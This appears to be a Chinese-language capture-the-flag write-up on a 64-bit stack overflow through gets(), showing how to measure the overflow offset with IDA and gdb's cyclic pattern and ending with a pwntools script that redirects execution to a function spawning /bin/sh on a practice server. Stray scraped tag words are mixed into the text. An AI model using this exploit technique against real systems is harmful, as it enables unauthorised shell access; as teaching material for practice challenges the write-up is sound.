目錄python
咱們能夠看到這是一個64程序,沒有保護開啓。linux
gets函數能夠讀取無限字符,存在棧溢出。
接下來咱們測測須要多少字符長度能夠溢出。
咱們能夠直接從ida上看到
shell
變量s在棧上[bp-Fh]位置,也就是說咱們只能輸入(Fh + 8)(覆蓋rbp須要8個字節)的字節就能覆蓋到棧底rbp,緊跟棧底的即是返回地址,咱們能夠接上一個咱們想要程序跳轉到的地址。
固然ida顯示大部分狀況下棧偏移都是沒問題的,但也有例外,因此最好手測一下溢出長度。
ida和gdb均可以測溢出長度,這裏我介紹gdb的方法。
首先生成50個每4個字符都是獨一無二的字符串
架構
而後用gdb調試程序並把該字符串輸入
函數
咱們看到程序運行到ret發生了錯誤
3d
此時棧上的狀況
調試
咱們能夠看到,rsp處原本應該是返回地址,如今已經被咱們輸入的字符串覆蓋了。
因爲程序是小端法,因此agaa就在0x7fffffffe108處,咱們只要知道agaa前有多少字符便可。
code
因爲cyclic生成的字符串每四個字符都是惟一的,因此只要咱們-l命令輸入四個字符,它就能測算出這四個字符前有幾個字符。(一個字符佔一字節)
能夠看到結果爲23 = ida顯示的Fh + 8blog
如今咱們已經能夠成功劫持rip到咱們想要的運行地址,哪要跳轉到哪裏才能pwn掉程序呢?
咱們發現程序有一個函數fun()
ip
執行了system("/bin/sh"),/bin/sh是一個軟鏈接,它指向某一個shell,因此這個命令會開啓一個shell,將rip劫持到這裏,咱們就能成功pwn掉程序。
直接附上exp
/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) #初始化上下文環境,主要是系統、架構和讀取超時時間 io = remote('pwn.buuoj.cn', 6001) #此處的IP地址和端口須要根據目標修改 system_addr = 0x401186 #函數fun()的地址 payload = '' payload += 'A'*23 #使用23個任意字符填充 payload += p64(system_addr) #返回地址覆蓋爲fun函數的地址,當主程序運行完返回時便會跳轉到fun()函數並執行 io.sendline(payload) #向程序輸入payload,注意使用sendline()或者send()的數據末尾加上回車'\n' io.interactive()
運行腳本成功得到flag